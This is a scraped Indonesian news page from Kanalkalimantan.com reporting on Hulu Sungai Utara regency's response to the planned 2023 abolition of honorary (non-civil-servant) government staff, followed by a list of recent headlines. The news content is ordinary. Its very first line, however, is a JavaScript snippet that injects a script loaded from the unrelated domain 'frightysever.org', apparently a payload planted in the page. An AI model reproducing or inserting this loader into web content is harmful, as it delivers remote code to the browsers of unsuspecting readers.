(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

2023 Tenaga Honorer Terancam Dihapus, Pemkab HSU Upayakan Solusi Terbaik


KANALKALIMANTAN.COM, AMUNTAI – Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mulai merespon terkait rencana pemerintah pusat menghapus tenaga honorer di tahun 2023 mendatang.

Menyusul wacana penghapusan tenaga honorer atau non PNS di instansi pemerintahan di tahun 2023 oleh Menteri Pendayagunaan Aparatur Negara dan Reformasi Birokrasi (Menpan RB).

Sebelumnya, Pelaksana Tugas (Plt) Bupati HSU, Husari Abdi, dalam pertemuan dengan forum honorer daerah Kabupaten HSU beberapa waktu lalu, mengatakan ikut merasakan juga kekhawatiran dari rekan-rekan tenaga honorer di Kabupaten HSU tentang penghapusan tenaga non PNS oleh pemerintah pusat.

Mengingat peran dari tenaga non PNS di lingkungan pemerintah daerah cukup membantu para ASN untuk menyelesaikan tugas di satuan kerja mereka masing-masing.

 

Baca juga : Plt Bupati-Kapolres HSU Pantau Pos Keamanan dan Pos Pelayanan Idul Fitri

“Alhamdulliah, kita itu ada program menganggarkan khusus memberikan upah jasa tenaga honor untuk membantu pelaksanaan tugas pegawai di masing-masing SKPD,” kata Husairi.

Kendati demikian, jika ketentuan penghapusan tenaga honorer itu akan diberlakukan, Pemkab HSU berupaya mencari solusi agar tetap merangkul tenaga non PNS.

“Kami tidak bisa ambil sikap duluan, aturannya harus jelas, apa saja yang bisa kita tempuh, sehingga saudara-saudara honorer ada ikatan pasti dengan pemerintah daerah,” katanya.

Kepala Badan Kepegawaian dan Pengembangan Sumber Daya Manusia (BKPSDM) Rakhmadi Permana mengatakan, menurut Undang-Undang Nomor 5 Tahun 2014 tentang Aparatur Sipil Negara bahwa yang dikatakan ASN hanya PNS dan PPPK.

 

Baca juga  : Tes Urine Sopir Angkutan, BNNK Balangan Temukan Satu Positif

Lebih lanjut, Rakhmadi mengatakan, saat ini PNS dan PPPK di lingkungan Pemkab HSU masih sangat terbatas, karena itu peran tenaga honorer masih dibutuhkan di satuan kerja perangkat daerah.

“Bagi saya, sesuatu yang tiada, tetapi harus ada (tenaga honorer) dan kenyataannya ada (tenaga honorer),” kata Rakhmadi.

Namun, tak dipungkiri, berdasarkan Peraturan Pemerintah (PP) Nomor 49 Tahun 2018 dalam salah satu pasal berbunyi Pejabat Pembina Kepegawaian (PPK) dilarang mengangkat tenaga honorer.

Walaupun demikian, Rakhmadi mengatakan, untuk penghapusan tenaga honorer sampai saat ini belum ada surat ederan resmi dari pemerintah pusat. Secara teknis, BKPSDM HSU belum mengetahui skema kebijakan tersebut.

 

Baca juga : Jemaah Masjid Al Munawwarah Kertak Hanyar Wafat saat Sujud, Terjadi saat Malam Jumat 27 Ramadhan

“Sampai saat ini, kami dari BKPSDM belum ada satu suratpun yang secara resmi itu menerima terkait petunjuk teknis (Juknis) ataupun PP, Perpres, Permenpan RB terkait penghapusan tenaga honorer,” tegasnya.

Ia menghimbau kepada seluruh rekan tenaga honorer di HSU, untuk tidak termakan isu yang beredar tentang penghapusan tenaga honorer di tahun 2023.

“Pada intinya kita tunggu saja kebijakan dari pemerintah pusat, karena ini berkaitan dengan kebijakan secara nasional,” pungkasnya.

Terpisah, Ketua Forum Honorer Daerah Kabupaten HSU Akhmad Ismail kepada Kanalkalimantan.com, Jum’at (29/4/2022) mengaku, bersyukur pemerintah daerah merespon positif terhadap keberadaan honorer non PNS di lingkungan Pemkab HSU.

 

Baca juga : 12 Emak-Emak Tewas Tertimbun saat Cari Emas di Madina, Polisi Masih Lakukan Penyelidikan

“Alhamdulillah, pengurus juga sudah meminta masukkan dari Plt Ortal tentang Anjab dan ABK , Alhamdulillah beliau sangat mendukung dan siap menyupport forum honorer dan siap membantu dalam mengakomodir Anjab dan ABK seluruh honorer se Kabupaten HSU,” bebernya.

“Alhamdulillah untuk tahun 2023 anggaran kita untuk honorer sangat aman, tetap semangat bekerja, dan tetap melayani masyarakat,” katanya. (Kanalkalimantan.com/dew)

Reporter : dew
Editor : bie


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.